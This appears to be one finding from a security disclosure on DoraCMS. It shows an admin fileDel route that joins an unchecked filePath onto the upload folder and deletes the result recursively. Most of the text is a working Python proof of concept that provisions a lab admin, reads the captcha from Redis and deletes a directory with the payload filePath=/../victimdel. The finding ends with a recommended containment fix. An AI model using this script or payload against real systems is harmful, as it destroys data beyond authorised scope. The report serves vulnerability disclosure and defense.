CVSS 3.1: 6.5 Medium — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
// routes/admin.js:563-578
router.get('/manage/filesList/fileDel', function(req, res) {
var params = url.parse(req.url,true);
var path = settings.UPDATEFOLDER + params.query.filePath;
if(adminFunc.checkAdminPower(req,settings.filesList[0] + '_del')){
if(path){
system.deleteFolder(req, res, path,function(){ res.end('success'); });
}else{ res.end(settings.system_noPower); }
}else{ res.end(settings.system_noPower); }
});Unlike its sibling routes in the same file (filesList/list and filesList/getFileInfo, which at
least attempt an indexOf('../') blacklist check, however imperfectly implemented), this route
performs zero validation of any kind on filePath before concatenating it onto
settings.UPDATEFOLDER and passing the result to system.deleteFolder(), which recursively
fs.unlinkSyncs every file and fs.rmdirSyncs every directory found under the resolved path (or
fs.unlinks a single file). An admin holding filesList_del — the standard file-manager delete
permission — can delete arbitrary directories or files anywhere the Node process has write access,
far beyond the intended public/upload/ scope.
req.query.filePath at GET /admin/manage/filesList/fileDel.
util/system.js:178-213 (deleteFolder) — recursive fs.unlinkSync/fs.rmdirSync with no
containment check.
- Created a test admin holding only
sysTemManage_files_del. - Staged a victim directory
public/victimdel/sub/important.txt(outsideUPDATEFOLDER's intended scope, sinceUPDATEFOLDER = public/upload). - Sent
GET /admin/manage/filesList/fileDel?filePath=/../victimdel. Server respondedsuccess. - Confirmed the entire
public/victimdel/directory tree, including its subdirectory and file, was permanently deleted — a single unauthenticated-to-the-filesystem-boundary request destroyed data completely outside the file manager's intended scope.
#!/usr/bin/env python3
"""
PoC: DoraCMS Path Traversal Recursive Directory/File Deletion - No Filtering
Whatsoever (fileDel)
Target route : GET /admin/manage/filesList/fileDel
Source : req.query.filePath
Sink : util/system.js#deleteFolder -> recursive fs.unlinkSync/fs.rmdirSync
Root cause (routes/admin.js:563-578):
router.get('/manage/filesList/fileDel', function(req, res) {
var path = settings.UPDATEFOLDER + params.query.filePath;
if(adminFunc.checkAdminPower(req,settings.filesList[0] + '_del')){
if(path){
system.deleteFolder(req, res, path,function(){ res.end('success'); });
}
}
});
(util/system.js:178-213, deleteFolder):
if( fs.existsSync(path) ) {
if(fs.statSync(path).isDirectory()) {
var walk = function(path){
files = fs.readdirSync(path);
files.forEach(function(file,index){
var curPath = path + "/" + file;
if(fs.statSync(curPath).isDirectory()) { walk(curPath); }
else { fs.unlinkSync(curPath); }
});
fs.rmdirSync(path);
};
walk(path); // <-- SINK: recursive delete, ZERO containment check
}else{ fs.unlink(path, ...); }
}
Unlike its sibling routes in the same file (filesList/list and
filesList/getFileInfo, which at least attempt an imperfect '../' blacklist
check), this route performs NO validation of any kind on filePath before
concatenating it onto settings.UPDATEFOLDER and recursively deleting
whatever is found there. An admin holding only 'filesList_del' -- the
standard file-manager delete permission -- can destroy arbitrary
directories/files far outside the intended public/upload/ scope.
Verified end-to-end against: DoraCMS commit cdbdcaa3 (package.json version
1.1.1), Node.js v10.24.1, MongoDB 4.4, Redis 6, on 127.0.0.1:8081. Confirmed:
a directory tree (with a nested subdirectory and file) staged outside
UPDATEFOLDER is completely and permanently removed by a single request.
Usage (lab-only auto-provisioning + full attack):
python3 poc7_fileDel_traversal_recursive_delete.py \
--base-url http://127.0.0.1:8081 \
--project-root /Users/chrisz/security-lab/DoraCMS-vuln \
--mongo-container dora-mongo --redis-container dora-redis \
--provision --stage-victim
WARNING: this PoC is destructive by design -- it deletes the staged victim
directory to prove the vulnerability. Only run --stage-victim against a
disposable directory you created for this test (the default path is
'public/victimdel/', staged by this script itself; never point
--victim-dirname at anything you care about).
Requirements:
- requests (pip install requests)
- docker CLI + the target's mongo/redis containers reachable (--provision mode only)
- local filesystem access to stage/verify the victim directory
"""
import argparse
import os
import re
import subprocess
import sys
import urllib.parse
import requests
def mongo_eval(container: str, db: str, js: str) -> str:
r = subprocess.run(
["docker", "exec", "-i", container, "mongo", db, "--eval", js],
capture_output=True, text=True, timeout=15,
)
return r.stdout + r.stderr
def provision(mongo_container: str, mongo_db: str, group_id: str, user_id: str,
username: str, password_cipher: str) -> None:
js = f"""
db.admingroups.insertOne({{
_id: "{group_id}",
name: "filedel-poc-group",
power: "['sysTemManage_files_del:true','sysTemManage_files_view:true']",
date: new Date()
}});
db.adminusers.insertOne({{
_id: "{user_id}",
name: "FileDel PoC Admin",
userName: "{username}",
password: "{password_cipher}",
email: "{username}@example.com",
phoneNum: 12345678900,
date: new Date(),
logo: "/upload/images/defaultlogo.png",
auth: true,
group: "{group_id}"
}});
"""
out = mongo_eval(mongo_container, mongo_db, js)
print("[*] Provisioning result:")
print(out.strip())
def cleanup_db(mongo_container: str, mongo_db: str, group_id: str, user_id: str) -> None:
js = f'db.admingroups.remove({{_id: "{group_id}"}}); db.adminusers.remove({{_id: "{user_id}"}});'
mongo_eval(mongo_container, mongo_db, js)
def get_vnum_via_redis(session: requests.Session, redis_container: str) -> str:
raw_cookie = session.cookies.get("connect.sid")
decoded = urllib.parse.unquote(raw_cookie)
real_sid = decoded.split(":", 1)[1].split(".")[0]
r = subprocess.run(
["docker", "exec", "-i", redis_container, "redis-cli", "get", f"sess:{real_sid}"],
capture_output=True, text=True, timeout=10,
)
match = re.search(r'"vnum":"(\w+)"', r.stdout)
if not match:
raise RuntimeError(f"Could not extract vnum from session doc: {r.stdout!r}")
return match.group(1)
def login(session: requests.Session, base_url: str, username: str, password: str, vnum: str) -> bool:
resp = session.post(
f"{base_url}/admin/doLogin",
data={"userName": username, "password": password, "vnum": vnum},
timeout=10,
)
return resp.text.strip() == "success"
def main() -> int:
parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument("--base-url", default="http://127.0.0.1:8081")
parser.add_argument("--username", default="filedel1")
parser.add_argument("--password", default="doracms123")
parser.add_argument("--group-id", default="filedelgrp")
parser.add_argument("--user-id", default="filedeluser")
parser.add_argument("--project-root", default="/Users/chrisz/security-lab/DoraCMS-vuln")
parser.add_argument("--victim-dirname", default="victimdel",
help="Directory name staged directly under public/ (i.e. one level "
"above UPDATEFOLDER=public/upload/) as the deletion target.")
parser.add_argument("--provision", action="store_true", help="Lab-only: create test admin account.")
parser.add_argument("--stage-victim", action="store_true",
help="Lab-only: create a disposable victim directory tree to be destroyed.")
parser.add_argument("--cleanup-account", action="store_true",
help="Remove the provisioned test admin account after the run (does NOT "
"restore the deleted victim directory -- that's the point of the PoC).")
parser.add_argument("--mongo-container", default="dora-mongo")
parser.add_argument("--mongo-db", default="doracms")
parser.add_argument("--redis-container", default="dora-redis")
args = parser.parse_args()
default_password_cipher = "2d4a9221e95e793431429f572aec3d17" # "doracms123" under encrypt_key="dora"
if args.provision:
print("[*] Provisioning test admin account with filesList_del power (lab-only) ...")
provision(args.mongo_container, args.mongo_db, args.group_id, args.user_id,
args.username, default_password_cipher)
victim_dir = os.path.join(args.project_root, "public", args.victim_dirname)
if args.stage_victim:
sub_dir = os.path.join(victim_dir, "sub")
os.makedirs(sub_dir, exist_ok=True)
with open(os.path.join(sub_dir, "important.txt"), "w") as f:
f.write("important-file-should-survive-if-not-vulnerable")
print(f"[*] Staged disposable victim directory tree at: {victim_dir}")
if not os.path.isdir(victim_dir):
print(f"[!] Victim directory {victim_dir} does not exist. Use --stage-victim or create it "
"yourself first.", file=sys.stderr)
return 2
session = requests.Session()
session.get(f"{args.base_url}/admin", timeout=10)
vnum = get_vnum_via_redis(session, args.redis_container)
print(f"[*] Resolved captcha: {vnum}")
if not login(session, args.base_url, args.username, args.password, vnum):
print("[!] Login failed. Check credentials or use --provision.", file=sys.stderr)
return 1
print(f"[+] Logged in as {args.username!r}")
print(f"[*] Before attack: victim directory exists = {os.path.isdir(victim_dir)}")
print(f"[*] Sending traversal delete: filePath=/../{args.victim_dirname}")
r = session.get(
f"{args.base_url}/admin/manage/filesList/fileDel",
params={"filePath": f"/../{args.victim_dirname}"},
)
print(f"[*] Response: HTTP {r.status_code}, body: {r.text!r}")
still_exists = os.path.isdir(victim_dir)
print(f"[*] After attack: victim directory exists = {still_exists}")
result = 1
if r.text.strip() == "success" and not still_exists:
print("[+] RECURSIVE DELETE CONFIRMED: a single request permanently removed a directory "
"tree entirely outside the file manager's intended UPDATEFOLDER scope.")
result = 0
else:
print("[-] Victim directory was not deleted as expected.", file=sys.stderr)
if args.cleanup_account:
print("[*] Cleaning up provisioned test admin account ...")
cleanup_db(args.mongo_container, args.mongo_db, args.group_id, args.user_id)
return result
if __name__ == "__main__":
raise SystemExit(main())
Apply the same path.resolve()/containment-check fix recommended for Findings 5 and the
previously-reported filesList/updateFileInfo finding on this codebase, consistently, to every
route in the file-manager module — including this one, which currently has no protection
whatsoever (not even the broken kind present elsewhere in the same file).